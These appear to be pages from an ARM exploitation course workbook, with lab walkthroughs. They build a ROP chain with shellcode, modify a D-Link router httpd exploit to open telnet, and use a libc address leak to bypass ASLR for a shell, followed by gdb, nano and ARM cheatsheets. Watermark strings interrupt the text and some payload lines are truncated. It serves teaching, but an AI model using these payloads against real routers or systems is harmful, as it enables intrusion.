(gdb) c
Continuing.
$
micede1865@wii999_com
Success!!!

We used a rop chain to call mprotect in order to make our shellcode executable.

Exploitation outside of gdb


24356915
Since the address of the shellcode is located on the stack, it will vary slightly when ran outside of gdb. To get the address
of the shellcode outside of gdb, we will use core dumps.

In the mako vm, core files are configured to be saved in the /coredumps folder. First, we will remove any existing core files
from this folder.

nemo@mako:~/labs/rop$ rm /coredumps/*Paul Erwin


Next, we will try to exploit rop_target outside of gdb using the same input. This should crash since the address of our
shellcode on the stack will be slightly off whne ran outside of the debugger.

nemo@mako:~/labs/rop$ ./rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07"

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
+"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" +
"\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"
+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
Illegal instruction (core dumped)

This should also generate a core file in the /coredumps folder. The name of the core file will vary.

nemo@mako:~/labs/rop$ ls /coredumps/
live
core-rop_target-4-1000-1000-5491-1622033845

210 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We can now dump this core file using objdump -s <core file> and look for the start of our shellcode (01 30 8f e2). You
can find the start of the shellcode by dumping all of the contents and scrolling through looking for the large buffer, or you
can use grep as shown below.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ objdump -s /coredumps/core-rop_target-4-1000-1000-5491-1622033845 | grep 01308fe2
befff470 43434343 43434343 01308fe2 13ff2fe1 CCCCCCCC.0..../.

Here we see the address of our shellcode starting at 0xbefff478. We will replace the address we used in gdb (0xbeffff438)
with the 0xbefff478. Again, this is due to stack alignment difference when ran outside of the debugger. Let's try again
from the command line with the new shellcode address.

micede1865@wii999_com
nemo@mako:~/labs/rop$ ./rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07"
+"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" +
"\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x78\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"
+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
$

We got a shell! Success! 24356915


Dlink Challenge

Use another parameter besides "Captcha" for this exploit.

Paul Erwin
Hint: Make a copy of the existing exploit.py file and use that as a starting point.

Begin:

Startup the dogfish vm (not shown) and launch the dlink emulated environment

nemo@hammerhead:~/qemu/dogfish$ ssh dogfish

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@dogfish's password:
Last login: Sat May 1 17:05:14 2021

nemo@dogfish:~$ ls
dlink_rootfs launch_dlink.sh launch_netgear.sh netgear_rootfs

nemo@dogfish:~$ ./launch_dlink.sh

live
Connect via ssh to dogfish (a separate session for debugging).

nemo@hammerhead:~/qemu/dogfish$ ssh dogfish


nemo@dogfish's password:
Last login: Tue May 4 22:18:42 2021 from 192.168.2.16

Look for and attach to httpd

© Hungry Hackers, LLC 211


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@dlinkrouter:~$ ps aux | grep http
root 5458 0.0 0.3 4736 3332 ? S 21:20 0:00 httpd -f /var/run/httpd.conf
nemo 10829 0.0 0.0 6764 560 pts/1 S+ 21:22 0:00 grep --color=auto http

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@dlinkrouter:~$ sudo gdb --pid 5458
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".

micede1865@wii999_com
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word".
Attaching to process 5458

24356915
Reading symbols from /home/nemo/dlink_rootfs/sbin/httpd...
(No debugging symbols found in /home/nemo/dlink_rootfs/sbin/httpd)

warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libcrypt.so.0.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?

warning: Unable to find dynamic linker breakpoint function.

Paul Erwin
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6f77a6c in ?? ()
warning: File "/home/nemo/.gdbinit" auto-loading has been declined by your `auto-load safe-path' set
to "$debugdir:$datadir/auto-load".
To enable execution of this file add
add-auto-load-safe-path /home/nemo/.gdbinit
line to your configuration file "/root/.gdbinit".

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To completely disable this security protection add
set auto-load safe-path /
line to your configuration file "/root/.gdbinit".
For more information about this security protection see the
"Auto-loading safe path" section in the GDB manual. E.g., run from the shell:
info "(gdb)Auto-loading safe path"

Break at the same breakpoint used in the lab. Here we will set follow-fork-mode.

(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
live
(gdb) c
Continuing.

212 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Make a copy of exploit.py and call it challenge_exploit.py so as to not overwrite the existing script. The output from the
diff command shows the changes that were made to the file.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs/dlink$ diff exploit.py challenge_exploit.py
32,34c32,34
< <LoginPassword></LoginPassword>
< <Captcha>""" + buffer + ropchain + cmd + \
< """</Captcha>
---
> <LoginPassword>""" + buffer + ropchain + cmd + \
> """</LoginPassword>
> <Captcha></Captcha>

micede1865@wii999_com
Launch the exploit. When you hit the breakpoint, set follow-fork-mode to child and then continue.

Breakpoint 1, 0x0000bbb8 in ?? ()
(gdb) set follow-fork-mode child

Before the exploit


24356915
nemo@hammerhead:~/qemu/dogfish$ telnet 192.168.2.22
Trying 192.168.2.22...

After the exploit.

telnet: Unable to connect to remote host: Connection refused

Trying 192.168.2.22...
Connected to 192.168.2.22.
Paul Erwin
nemo@hammerhead:~/qemu/dogfish$ telnet 192.168.2.22

Escape character is '^]'.

BusyBox v1.14.1 (2015-04-19 15:55:54 CST) built-in shell (msh)


Enter 'help' for a list of built-in commands.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
#

Telnet is on! Success.

Memory Leak Challenge

live
Use a different function in libc instead of memmove for the staged leak.

Hint:

• Make a copy of leak.c and leak the "rename" address form libc instead of "memmove".

• When you recompile the updated .c file, be sure to use -fno-stack-protector.

© Hungry Hackers, LLC 213


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


• Make a copy of exploit.py to use so you don't overwrite the original script.

Begin:

09b91222e5d2d3d668cf8e52ec5d35ba
Using mako, go to the ~/labs/leak/src folder. Make a copy so as to not overwrite existing code.

nemo@mako:~/labs/leak$ cd src
nemo@mako:~/labs/leak/src$ ls
leak.c Makefile
nemo@mako:~/labs/leak/src$ cp leak.c leak_rename.c

micede1865@wii999_com
Edit leak_rename.c and make the following change. We want to leak "rename".

nemo@mako:~/labs/leak/src$ vi leak_rename.c
nemo@mako:~/labs/leak/src$ diff leak.c leak_rename.c
16c16
< printf("The address of memmove is: 0x%x\n", (unsigned int)&memmove);
---
> printf("The address of rename is: 0x%x\n", (unsigned int)&rename);

24356915
Compile the source into a file that won't overwrite anything. Set -fno-stack-protector.

nemo@mako:~/labs/leak/src$ gcc -o leak_rename -fno-stack-protector leak_rename.c


leak_rename.c: In function ‘main’:
leak_rename.c:48:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-
Wimplicit-function-declaration]
48 | gets(cmd_buffer);
|
|
^~~~
fgets
Paul Erwin
/usr/bin/ld: /tmp/cc10Ekkb.o: in function `main':
leak_rename.c:(.text+0x124): warning: the `gets' function is dangerous and should not be used.
nemo@mako:~/labs/leak/src$

nemo@mako:~/labs/leak/src$ ls

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
leak.c leak_rename leak_rename.c Makefile

Check and turn on ASLR. Run the leak program a few times to verify it is working.

nemo@mako:~/labs/leak/src$ sudo -i
[sudo] password for nemo:
root@mako:~# echo 2 > /proc/sys/kernel/randomize_va_space
root@mako:~# cat /proc/sys/kernel/randomize_va_space
2
root@mako:~# exit
live
logout
nemo@mako:~/labs/leak/src$ ./leak_rename

Enter a command: clue


The address of rename is: 0xb6ec2a9d

214 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Enter a command: exit
nemo@mako:~/labs/leak/src$ ./leak_rename

09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command: clue
The address of rename is: 0xb6ed3a9d

Enter a command: exit

Find the offset for rename. We need this offset to update the exploit.py script.

readelf
48:
micede1865@wii999_com
-a /lib/arm-linux-gnueabihf/libc.so.6 | grep rename
0003aafd 80 FUNC WEAK DEFAULT 14 renameat2@@GLIBC_2.28
813: 0003aacd 48 FUNC WEAK DEFAULT 14 renameat@@GLIBC_2.4
1677: 0003aa9d 48 FUNC GLOBAL DEFAULT 14 rename@@GLIBC_2.4

Use a copy of exploit.py copied into the src folder. So as not to overwrite the original python script.

24356915
nemo@mako:~/labs/leak/src$ vi exploit.py

Here are the changes in exploit.py. We are leaving the name offset_memmove even though it is actually now
offset_rename.

nemo@mako:~/labs/leak/src$ diff exploit.py ../exploit.py


8c8
< offset_memmove = 0x3aa9d
---
Paul Erwin
> offset_memmove = 0x5f310

Run the updated program that leaks the runtime address of rename.

nemo@mako:~/labs/leak/src$ ./leak_rename

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Enter a command: clue
The address of rename is: 0xb6eb0a9d

Enter a command: ^Z
[1]+ Stopped ./leak_rename

live
Run Ctrl-z to put the leak_rename program in the background temporarily.

nemo@mako:~/labs/leak/src$ vi exploit.py

Edit exploit.py and make the following changes.

© Hungry Hackers, LLC 215


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/leak/src$ diff exploit.py ../exploit.py
4c4
< memmove_addr = 0xb6eb0a9d
---

09b91222e5d2d3d668cf8e52ec5d35ba
> memmove_addr = 0xb6e99310
8c8
< offset_memmove = 0x3aa9d
---
> offset_memmove = 0x5f310

Run exploit.py with the new offset for rename in there.

micede1865@wii999_com
nemo@mako:~/labs/leak/src$ python exploit.py
libc addr: 0xb6e76000, memmove_addr: 0xb6eb0a9d, gadget1 addr: 0xb6ed53fc, binstr addr: 0xb6f5634c,
system addr: 0xb6ea8991
nemo@mako:~/labs/leak/src$ cat config
cat: config: No such file or directory
nemo@mako:~/labs/leak/src$ cat config.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

24356915
Use fg (foreground) to change back into the leak_rename program. Run the 'clue' command again.

labs/leak/src$ fg
./leak_rename
clue
The address of rename is: 0xb6eb0a9d

Run the reload command.


Paul Erwin
Enter a command: reload
Config:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We got a shell! Success.

live

216 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Cheatsheets

09b91222e5d2d3d668cf8e52ec5d35ba
Terminator

To view shortcut keys in Terminator, right click in the console window, then click Preferences and click on the Keybindings
tab.

Quick Tips:

micede1865@wii999_com
Ctrl+Shift+o Horizontal break
Ctrl+Shift+e Vertical break
Ctrl+Shift+t New tab
Alt+<arrow key> Change between windows

GDB - commands used in class


24356915
Online cheatsheet: - https://gist.github.com/rkubik/b96c23bd8ed58333de37f2b8cd052c30

List of commands used in class:

# Set a breakpoint at *<address>


(gdb) b *0x0000000000400750

# Set a breakpoint at *<address>


(gdb) b * 0x10500
Paul Erwin
# Set a breakpoint at main
(gdb) b main

# Continue (execution)
(gdb) c

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Delete all breakpoints
(gdb) del

# Disassemble the main function


(gdb) disas main

# Search for '/bin/sh' in memory, starting at 0xb6ed7000 and ended at 0xb6fc0000

live
(gdb) find 0xb6ed7000, 0xb6fc0000, '/', 'b', 'i', 'n', '/', 's', 'h'

# Show info about breakpoints


(gdb) info b

# Show memory mappings for the process


(gdb) info proc mappings

© Hungry Hackers, LLC 217


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


# Show registers
(gdb) info reg

# Show specific registers

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) info reg $w0 $w1 $w2 $w3

# Show registers (abbreviated)


(gdb) i r

# Show specific registers


(gdb) i r $x0 $x1 $x2 $x3 $x4 $x5 $x6 $x7

# Print the system address

micede1865@wii999_com
(gdb) print system

# Run the external command (!) ps aux | grep hnap


(gdb) !ps aux | grep hnap

# Quite gdb
(gdb) quit

24356915
# Run the program (from the beginning)
(gdb) run

# Run the program with python2 creating a parameter


(gdb) run $(python2 -c 'print("A"*104 + "BBBB")')

# Force gdb to disassemble in ARM (vs THUMB)


(gdb) set arm force-mode arm

Paul Erwin
# Set gdb to auto-detect how to display the instructions (ARM or THUMB)
(gdb) set arm force-mode auto

# Set gdb to debug the child process


(gdb) set follow-fork-mode child

# Display the arm force-mode setting


(gdb) show arm force-mode

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Display the follow-fork-mode setting
(gdb) show follow-fork-mode

# Examine 100 instructions starting at the address held in pc


(gdb) x/100i $pc

# Examine 1078 bytes in hex starting at the address held by r1


(gdb) x/1078bx $r1

# Examine 10 instructions starting at <address>


live
(gdb) x/10i 0xb6f363fc

# Examine 10 instructions starting at <address> (This is 64-bit)


(gdb) x/10i 0xfffffffff258

218 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


# Examine 16 words (4 bytes) in hex starting at <address>
(gdb) x/16wx 0xbefff2e0

# Examine 1 word (4 bytes) in hex starting at <address>

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/1wx $sp

# Examine 1 word (4 bytes) in hex starting at <address>+16


(gdb) x/1wx $sp+16

# Examine 30 giants (8 bytes) in hex starting at sp


(gdb) x/30gx $sp

# Examine 34 bytes in hex starting at <address>

micede1865@wii999_com
(gdb) x/34bx 0xbefff3b0

# Examine 40 bytes in hex starting at <address> (This is 64-bit)


(gdb) x/40bx 0xfffffffff258

# Examine 40 words (4 bytes) in hex starting at sp


(gdb) x/40wx $sp

24356915
# Examine 64 bytes in hex starting at the address held by r2
(gdb) x/64bx $r2

# Examine instruction at <address>


(gdb) x/i 0xb6f96298

# Examine a string at <address>


(gdb) x/s 0xbefff2f0

Paul Erwin
# Examine a string at the address held by r1
(gdb) x/s $r1

Nano

Available online at: https://www.nano-editor.org/dist/latest/cheatsheet.html

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The editor's keystrokes and their functions

File handling
Ctrl+S Save current file
Ctrl+O Offer to write file ("Save as")
Ctrl+R Insert a file into current one
Ctrl+X Close buffer, exit from nano

Editing
Ctrl+K Cut current line into cutbuffer
live
Alt+6 Copy current line into cutbuffer
Ctrl+U Paste contents of cutbuffer
Alt+T Cut until end of buffer
Ctrl+] Complete current word
Alt+3 Comment/uncomment line/region

© Hungry Hackers, LLC 219


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Alt+U Undo last action
Alt+E Redo last undone action

Search and replace

09b91222e5d2d3d668cf8e52ec5d35ba
Ctrl+Q Start backward search
Ctrl+W Start forward search
Alt+Q Find next occurrence backward
Alt+W Find next occurrence forward
Alt+R Start a replacing session

Deletion
Ctrl+H Delete character before cursor
Ctrl+D Delete character under cursor

Ctrl+Del micede1865@wii999_com
Alt+Bsp Delete word to the left
Delete word to the right
Alt+Del Delete current line

Operations
Ctrl+T Execute some command
Ctrl+J Justify paragraph or region
Alt+J Justify entire buffer
Alt+B
Alt+F
Alt+:
Run a syntax check
Run a formatter/fixer/arranger
Start/stop recording of macro
24356915
Alt+; Replay macro

Moving around
Ctrl+B One character backward
Ctrl+F One character forward
Ctrl+← One word backward
Ctrl+→ One word forward
Ctrl+A To start of line
Paul Erwin
Ctrl+E To end of line
Ctrl+P One line up
Ctrl+N One line down
Ctrl+↑ To previous block
Ctrl+↓ To next block
Ctrl+Y One page up

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Ctrl+V One page down
Alt+\
Alt+/
To top of buffer
To end of buffer

Special movement
Alt+G Go to specified line
Alt+] Go to complementary bracket
Alt+↑ Scroll viewport up
Alt+↓
Alt+<
Alt+>
Scroll viewport down
Switch to preceding buffer
Switch to succeeding buffer
live
Information
Ctrl+C Report cursor position
Alt+D Report line/word/character count
Ctrl+G Display help text

220 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Various
Alt+A Turn the mark on/off
Tab Indent marked region

09b91222e5d2d3d668cf8e52ec5d35ba
Shift+Tab
Alt+N
Alt+P
Unindent marked region
Turn line numbers on/off
Turn visible whitespace on/off
Alt+V Enter next keystroke verbatim
Ctrl+L Refresh the screen
Ctrl+Z Suspend nano

C Types

Type
micede1865@wii999_com
Name Size (bytes) Range

char character 1 -128 to 127

unsigned char unsigned char 1 0 to 255

short

unsigned short
(signed) short

unsigned short
2

2
24356915
-32,768 to 32,767

0 to 65535

(signed) halfword 2 -32,768 to 32,767

unsigned halfword 2 0 to 65535

(signed) word 4 -2,147,483,648 to 2,147,483,647

unsigned word 4 Paul Erwin


0 to 4,294,967295

int (signed) integer 4 -2,147,483,648 to 2,147,483,647

unsigned int unsigned integer 4 0 to 4,294,967295

long (signed) long 4 -2,147,483,648 to 2,147,483,64

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
unsigned long

double
unsigned long

double
4

8
0 to 4,294,967295

1.7E-308 to 1.7E+308

ARM Instructions

live
Available online: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289850509.htm

© Hungry Hackers, LLC 221


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Mnemonic Brief description Arch.

ADC Add with Carry All

09b91222e5d2d3d668cf8e52ec5d35ba
ADD

ADR
Add

Load program or register-relative address (short range)


All

All

ADRL pseudo-instruction Load program or register-relative address (medium range) x6M

AND Logical AND All

ASR Arithmetic Shift Right All

B micede1865@wii999_com
Branch All

BFC Bit Field Clear T2

BFI Bit Field Insert T2

BIC Bit Clear All

BKPT

BL
Breakpoint

Branch with Link


24356915 5

All

BLX Branch with Link, change instruction set T

BX Branch, change instruction set T

BXJ

CBZ, CBNZ
Branch, change to Jazelle®

Compare and Branch if {Non}Zero


Paul Erwin J, x7M

T2

CDP Coprocessor Data Processing operation x6M

CDP2 Coprocessor Data Processing operation 5, x6M

CLREX Clear Exclusive K, x6M

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
CLZ Count leading zeros 5, x6M

CMN, CMP Compare Negative, Compare All

CPS Change Processor State 6

CPY pseudo-instruction Copy 6

DBG

DMB
Debug

Data Memory Barrier


live 7

7, 6M

DSB Data Synchronization Barrier 7, 6M

EOR Exclusive OR All

ERET Exception Return 7VE

222 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||

You might also like